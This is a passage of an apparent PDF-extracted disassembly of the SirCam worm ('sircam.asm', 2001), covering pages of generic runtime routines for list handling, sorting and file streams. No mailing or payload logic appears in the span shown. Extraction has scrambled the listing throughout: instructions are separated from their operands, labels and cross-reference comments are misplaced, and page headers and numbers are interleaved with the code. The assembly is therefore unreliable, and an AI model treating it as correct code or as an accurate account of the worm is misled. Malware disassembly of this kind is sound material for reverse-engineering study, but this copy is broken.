; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D57B:
; CODE XREF: sub_40D564+7\030j
cmp
edx, 8
jle
short loc_40D587
mov
esi, 10h
jmp
short loc_40D58C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D587:
; CODE XREF: sub_40D564+1A\030j
mov
loc_40D58C:
sub_40D564
esi, 4
; CODE XREF: sub_40D564+15\030j
; sub_40D564+21\030j
add
mov
mov
call
pop
retn
endp
esi, edx
edx, esi
ecx, [eax]
dword ptr [ecx+28h]
esi
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
372
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D598
proc near
; DATA XREF: CODE:0040BC04\030o
push
ebx
push
esi
push
ecx
mov
esi, edx
mov
ebx, eax
cmp
byte ptr [ebx+18h], 0
jnz
short loc_40D5B3
mov
edx, esi
mov
eax, ebx
call
sub_40CCCC
mov
[esp+0], eax
jmp
short loc_40D5C9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D5B3:
mov
mov
mov
mov
call
test
jnz
mov
; CODE XREF: sub_40D598+B\030j
ecx, esp
edx, esi
eax, ebx
ebx, [eax]
dword ptr [ebx+78h]
al, al
short loc_40D5C9
dword ptr [esp+0], 0FFFFFFFFh
loc_40D5C9:
sub_40D598
; CODE XREF: sub_40D598+19\030j
; sub_40D598+28\030j
mov
pop
pop
pop
retn
endp
eax, [esp+0]
edx
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D5D0
proc near
; DATA XREF: CODE:0040BC08\030o
push
ebx
push
esi
push
edi
mov
edi, ecx
mov
esi, edx
mov
ebx, eax
cmp
byte ptr [ebx+18h], 0
jz
short loc_40D5EE
mov
edx, ds:off_41DB90
xor
ecx, ecx
mov
eax, ebx
call
sub_40CA44
loc_40D5EE:
; CODE XREF: sub_40D5D0+D\030j
test
jl
cmp
jle
esi, esi
short loc_40D5F7
esi, [ebx+10h]
short loc_40D606
mov
mov
mov
call
; CODE XREF: sub_40D5D0+20\030j
edx, ds:off_41DC24
ecx, esi
eax, ebx
sub_40CA44
mov
mov
ecx, edi
edx, esi
loc_40D5F7:
loc_40D606:
; CODE XREF: sub_40D5D0+25\030j
sircam.asm
sub_40D5D0
Fri Aug 10 12:42:44 2001
mov
call
pop
pop
pop
retn
endp
373
eax, ebx
sub_40D618
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D618
proc near
push
push
push
mov
mov
mov
mov
mov
call
mov
cmp
jnz
mov
call
ebx
esi
edi
edi, ecx
esi, edx
ebx, eax
eax, ebx
edx, [eax]
dword ptr [edx+74h]
eax, [ebx+10h]
eax, [ebx+14h]
short loc_40D637
eax, ebx
sub_40D564
mov
cmp
jge
mov
lea
mov
lea
sub
shl
xchg
call
; CODE XREF: sub_40D618+16\030j
eax, [ebx+10h]
esi, eax
short loc_40D656
edx, [ebx+0Ch]
edx, [edx+esi*8+8]
ecx, [ebx+0Ch]
ecx, [ecx+esi*8]
eax, esi
eax, 3
eax, ecx
sub_4026B0
loc_40D637:
loc_40D656:
sub_40D618
; CODE XREF: sub_40D2F0+48\030p
; sub_40D5D0+3C\030p
mov
lea
mov
xor
mov
xor
mov
mov
mov
call
inc
mov
mov
call
pop
pop
pop
retn
endp
; CODE XREF: sub_40D618+24\030j
eax, [ebx+0Ch]
eax, [eax+esi*8]
esi, eax
eax, eax
[esi], eax
eax, eax
[esi+4], eax
eax, esi
edx, edi
sub_40351C
dword ptr [ebx+10h]
eax, ebx
edx, [eax]
dword ptr [edx+70h]
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
sub_40D680
Fri Aug 10 12:42:44 2001
proc near
; DATA XREF: CODE:0040BBD4\030o
push
ebx
push
esi
push
edi
mov
edi, ecx
mov
esi, edx
mov
ebx, eax
cmp
byte ptr [ebx+18h], 0
jz
short loc_40D69E
mov
edx, ds:off_41DB90
xor
ecx, ecx
mov
eax, ebx
call
sub_40CA44
loc_40D69E:
; CODE XREF: sub_40D680+D\030j
test
jl
cmp
jl
esi, esi
short loc_40D6A7
esi, [ebx+10h]
short loc_40D6B6
mov
mov
mov
call
; CODE XREF: sub_40D680+20\030j
edx, ds:off_41DC24
ecx, esi
eax, ebx
sub_40CA44
loc_40D6A7:
loc_40D6B6:
sub_40D680
374
mov
mov
call
mov
lea
mov
call
mov
mov
call
pop
pop
pop
retn
endp
; CODE XREF: sub_40D680+25\030j
eax, ebx
edx, [eax]
dword ptr [edx+74h]
eax, [ebx+0Ch]
eax, [eax+esi*8]
edx, edi
sub_40351C
eax, ebx
edx, [eax]
dword ptr [edx+70h]
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D6D8
proc near
; DATA XREF: CODE:0040BBD8\030o
push
ebx
push
esi
push
edi
mov
edi, ecx
mov
esi, edx
mov
ebx, eax
test
esi, esi
jl
short loc_40D6EA
cmp
esi, [ebx+10h]
jl
short loc_40D6F9
loc_40D6EA:
mov
mov
mov
call
; CODE XREF: sub_40D6D8+B\030j
edx, ds:off_41DC24
ecx, esi
eax, ebx
sub_40CA44
mov
eax, ebx
loc_40D6F9:
; CODE XREF: sub_40D6D8+10\030j
sircam.asm
sub_40D6D8
Fri Aug 10 12:42:44 2001
mov
call
mov
mov
mov
mov
call
pop
pop
pop
retn
endp
375
edx, [eax]
dword ptr [edx+74h]
eax, [ebx+0Ch]
[eax+esi*8+4], edi
eax, ebx
edx, [eax]
dword ptr [edx+70h]
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40D714
proc near
var_10
var_C
var_8
var_4
arg_0
=
=
=
=
=
dword
dword
dword
dword
dword
push
mov
add
push
push
mov
mov
mov
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_40D714+7F\031p
; sub_40D7FC+22\031p
-10h
-0Ch
-8
-4
8
ebp
ebp, esp
esp, 0FFFFFFF0h
ebx
esi
[ebp+var_C], ecx
[ebp+var_8], edx
[ebp+var_4], eax
loc_40D725:
; CODE XREF: sub_40D714+8A\031j
mov
ebx, [ebp+var_8]
mov
esi, [ebp+var_C]
mov
eax, [ebp+var_8]
add
eax, [ebp+var_C]
shr
eax, 1
mov
[ebp+var_10], eax
jmp
short loc_40D739
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D738:
; CODE XREF: sub_40D714+32\031j
inc
ebx
loc_40D739:
; CODE XREF: sub_40D714+22\030j
; sub_40D714+6C\031j
mov
ecx, [ebp+var_10]
mov
edx, ebx
mov
eax, [ebp+var_4]
call
[ebp+arg_0]
test
eax, eax
jl
short loc_40D738
jmp
short loc_40D74B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D74A:
; CODE XREF: sub_40D714+44\031j
dec
esi
mov
mov
mov
call
; CODE XREF: sub_40D714+34\030j
ecx, [ebp+var_10]
edx, esi
eax, [ebp+var_4]
[ebp+arg_0]
loc_40D74B:
sircam.asm
Fri Aug 10 12:42:44 2001
376
test
eax, eax
jg
short loc_40D74A
cmp
esi, ebx
jl
short loc_40D77E
mov
ecx, esi
mov
edx, ebx
mov
eax, [ebp+var_4]
call
sub_40D474
cmp
ebx, [ebp+var_10]
jnz
short loc_40D774
mov
[ebp+var_10], esi
jmp
short loc_40D77C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D774:
cmp
jnz
mov
; CODE XREF: sub_40D714+59\030j
esi, [ebp+var_10]
short loc_40D77C
[ebp+var_10], ebx
loc_40D77C:
; CODE XREF: sub_40D714+5E\030j
; sub_40D714+63\030j
inc
dec
ebx
esi
cmp
jge
cmp
jle
mov
push
mov
mov
mov
call
esi, ebx
short loc_40D739
esi, [ebp+var_8]
short loc_40D798
eax, [ebp+arg_0]
eax
ecx, esi
edx, [ebp+var_8]
eax, [ebp+var_4]
sub_40D714
mov
cmp
jl
pop
pop
mov
pop
retn
endp
[ebp+var_8], ebx
ebx, [ebp+var_C]
short loc_40D725
esi
ebx
esp, ebp
ebp
4
loc_40D77E:
; CODE XREF: sub_40D714+48\030j
loc_40D798:
sub_40D714
; CODE XREF: sub_40D714+71\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D7A8
sub_40D7A8
proc near
push
ebx
push
esi
mov
esi, edx
mov
ebx, eax
mov
edx, esi
shl
edx, 3
lea
eax, [ebx+0Ch]
call
sub_4025C8
mov
[ebx+14h], esi
pop
esi
pop
ebx
retn
endp
; DATA XREF: CODE:0040BBDC\030o
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40D7C4:
; DATA XREF: CODE:0040BBE4\030o
sircam.asm
Fri Aug 10 12:42:44 2001
377
test
dl, dl
jz
short loc_40D7CE
mov
edx, [eax]
call
dword ptr [edx+74h]
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D7CE:
mov
call
retn
; CODE XREF: CODE:0040D7C6\030j
edx, [eax]
dword ptr [edx+70h]
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D7D4
sub_40D7D4
proc near
; DATA XREF: CODE:0040D7EC\031o
push
ebx
mov
ebx, [eax+0Ch]
mov
ecx, [ebx+ecx*8]
mov
eax, [eax+0Ch]
mov
eax, [eax+edx*8]
mov
edx, ecx
call
sub_406E64
pop
ebx
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40D7EC:
; DATA XREF: CODE:0040BC30\030o
mov
edx, offset sub_40D7D4
mov
ecx, [eax]
call
dword ptr [ecx+80h]
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D7FC
proc near
; DATA XREF: CODE:0040BC34\030o
push
ebx
push
esi
mov
esi, edx
mov
ebx, eax
cmp
byte ptr [ebx+18h], 0
jnz
short loc_40D82A
cmp
dword ptr [ebx+10h], 1
jle
short loc_40D82A
mov
eax, ebx
mov
edx, [eax]
call
dword ptr [edx+74h]
push
esi
mov
ecx, [ebx+10h]
dec
ecx
xor
edx, edx
mov
eax, ebx
call
sub_40D714
mov
eax, ebx
mov
edx, [eax]
call
dword ptr [edx+70h]
loc_40D82A:
sub_40D7FC
; CODE XREF: sub_40D7FC+A\030j
; sub_40D7FC+10\030j
pop
pop
retn
endp
esi
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
378
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D830
proc near
sub_40D830
push
mov
xor
mov
call
pop
retn
endp
; CODE XREF: sub_40CDD0+41\030p
; sub_4118CC+135\031p ...
ebx
cx, 1
edx, edx
ebx, [eax]
dword ptr [ebx+0Ch]
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D840
proc near
sub_40D840
push
xor
mov
call
pop
retn
endp
; CODE XREF: sub_40DAC8+B\031p
; sub_415764+19\031p
ebx
ecx, ecx
ebx, [eax]
dword ptr [ebx+0Ch]
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D84C
proc near
sub_40D84C
push
push
push
mov
mov
xor
mov
mov
call
mov
mov
xor
mov
mov
call
mov
xor
mov
mov
mov
call
mov
pop
pop
pop
retn
endp
; CODE XREF: sub_40CDD0+38\030p
; sub_40DAC8+12\031p ...
ebx
esi
edi
ebx, eax
cx, 1
edx, edx
eax, ebx
esi, [eax]
dword ptr [esi+0Ch]
esi, eax
cx, 2
edx, edx
eax, ebx
edi, [eax]
dword ptr [edi+0Ch]
edi, eax
ecx, ecx
edx, esi
eax, ebx
ebx, [eax]
dword ptr [ebx+0Ch]
eax, edi
edi
esi
ebx
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND]
sircam.asm
Fri Aug 10 12:42:44 2001
379
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D884
proc near
push
push
push
mov
mov
mov
test
jz
mov
mov
mov
mov
call
cmp
jz
mov
mov
mov
call
call
ebx
esi
edi
ebx, ecx
edi, edx
esi, eax
ebx, ebx
short loc_40D8B7
edx, edi
ecx, ebx
eax, esi
esi, [eax]
dword ptr [esi+4]
ebx, eax
short loc_40D8B7
ecx, ds:off_41DC54
dl, 1
eax, ds:off_40B698
sub_40950C
sub_402F98
loc_40D8B7:
sub_40D884
; CODE XREF: sub_40DAC8+2C\031p
; sub_415764+28\031p ...
; CODE XREF: sub_40D884+B\030j
; sub_40D884+1A\030j
pop
pop
pop
retn
endp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D8BC
proc near
push
push
push
mov
mov
mov
test
jz
mov
mov
mov
mov
call
cmp
jz
mov
mov
mov
call
call
; CODE XREF: sub_40D068+32\030p
; sub_40E2A8+C\031p ...
ebx
esi
edi
ebx, ecx
edi, edx
esi, eax
ebx, ebx
short loc_40D8EF
edx, edi
ecx, ebx
eax, esi
esi, [eax]
dword ptr [esi+8]
ebx, eax
short loc_40D8EF
ecx, ds:off_41DBB4
dl, 1
eax, ds:off_40B6F0
sub_40950C
sub_402F98
loc_40D8EF:
; CODE XREF: sub_40D8BC+B\030j
; sub_40D8BC+1A\030j
pop
pop
pop
edi
esi
ebx
sircam.asm
sub_40D8BC
Fri Aug 10 12:42:44 2001
380
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40D8F4:
; DATA XREF: CODE:0040BD20\030o
; CODE:0040BD8C\030o
mov
call
cmp
jnz
xor
eax, [eax+4]
sub_4070D4
eax, 0FFFFFFFFh
short locret_40D903
eax, eax
locret_40D903:
; CODE XREF: CODE:0040D8FF\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D904:
; DATA XREF: CODE:0040BD24\030o
; CODE:0040BD90\030o
mov
call
cmp
jnz
xor
eax, [eax+4]
sub_407100
eax, 0FFFFFFFFh
short locret_40D913
eax, eax
locret_40D913:
; CODE XREF: CODE:0040D90F\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D914:
; DATA XREF: CODE:0040BD28\030o
; CODE:0040BD94\030o
movzx
mov
call
retn
ecx, cx
eax, [eax+4]
sub_40712C
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D920
proc near
; DATA XREF: CODE:0040BD1C\030o
; CODE:0040BD88\030o
sub_40D920
push
ebx
push
esi
mov
ebx, eax
xor
ecx, ecx
mov
eax, ebx
mov
esi, [eax]
call
dword ptr [esi+0Ch]
mov
eax, [ebx+4]
push
eax
call
j_SetEndOfFile_0
call
sub_40A430
pop
esi
pop
ebx
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40D940
proc near
var_C
var_8
= dword ptr -0Ch
= byte ptr -8
; CODE XREF: sub_40CD7C+12\030p
; sub_40D010+15\030p ...
sircam.asm
var_1
arg_0
Fri Aug 10 12:42:44 2001
381
= byte ptr -1
= dword ptr 8
push
mov
add
push
push
push
test
jz
add
call
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
dl, dl
short loc_40D955
esp, 0FFFFFFF0h
sub_402CDC
loc_40D955:
; CODE XREF: sub_40D940+B\030j
mov
esi, ecx
mov
[ebp+var_1], dl
mov
ebx, eax
mov
edi, [ebp+arg_0]
cmp
di, 0FFFFh
jnz
short loc_40D99C
mov
eax, esi
call
sub_4070B0
mov
edi, eax
mov
[ebx+4], edi
test
edi, edi
jge
short loc_40D9D3
mov
[ebp+var_C], esi
mov
[ebp+var_8], 0Bh
lea
eax, [ebp+var_C]
push
eax
push
0
mov
ecx, ds:off_41DC2C
mov
dl, 1
mov
eax, ds:off_40B58C
call
sub_409548
call
sub_402F98
jmp
short loc_40D9D3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D99C:
movzx
mov
call
mov
cmp
jge
mov
mov
lea
push
push
mov
mov
mov
call
call
; CODE XREF: sub_40D940+24\030j
edx, di
eax, esi
sub_407070
[ebx+4], eax
dword ptr [ebx+4], 0
short loc_40D9D3
[ebp+var_C], esi
[ebp+var_8], 0Bh
eax, [ebp+var_C]
eax
0
ecx, ds:off_41DC38
dl, 1
eax, ds:off_40B5E8
sub_409548
sub_402F98
loc_40D9D3:
; CODE XREF: sub_40D940+34\030j
; sub_40D940+5A\030j ...
mov
cmp
jz
call
pop
add
eax, ebx
[ebp+var_1], 0
short loc_40D9EA
sub_402D34
large dword ptr fs:0
esp, 0Ch
mov
pop
eax, ebx
edi
loc_40D9EA:
; CODE XREF: sub_40D940+99\030j
sircam.asm
sub_40D940
Fri Aug 10 12:42:44 2001
pop
pop
mov
pop
retn
endp
382
esi
ebx
esp, ebp
ebp
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D9F8
proc near
; DATA XREF: CODE:0040BD84\030o
push
ebx
push
esi
call
sub_402D3C
mov
ebx, edx
mov
esi, eax
mov
eax, [esi+4]
test
eax, eax
jl
short loc_40DA0F
call
sub_407138
loc_40DA0F:
; CODE XREF: sub_40D9F8+10\030j
test
jle
mov
call
bl, bl
short loc_40DA1A
eax, esi
sub_402D2C
pop
pop
retn
endp
esi
ebx
loc_40DA1A:
sub_40D9F8
; CODE XREF: sub_40D9F8+19\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DA20
sub_40DA20
proc near
mov
[eax+4], edx
mov
[eax+8], ecx
retn
endp
; CODE XREF: sub_40DB54+17\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40DA28
proc near
push
push
push
mov
mov
test
jl
test
jl
mov
sub
test
jle
cmp
ebx
esi
edi
ebx, eax
edi, [ebx+0Ch]
edi, edi
short loc_40DA58
ecx, ecx
short loc_40DA58
esi, [ebx+8]
esi, edi
esi, esi
short loc_40DA58
ecx, esi
; DATA XREF: CODE:0040BDF4\030o
; CODE:0040BE64\030o
sircam.asm
Fri Aug 10 12:42:44 2001
jge
mov
383
short loc_40DA47
esi, ecx
loc_40DA47:
; CODE XREF: sub_40DA28+1B\030j
mov
eax, [ebx+4]
add
eax, edi
mov
ecx, esi
call
sub_4026B0
add
[ebx+0Ch], esi
jmp
short loc_40DA5A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40DA58:
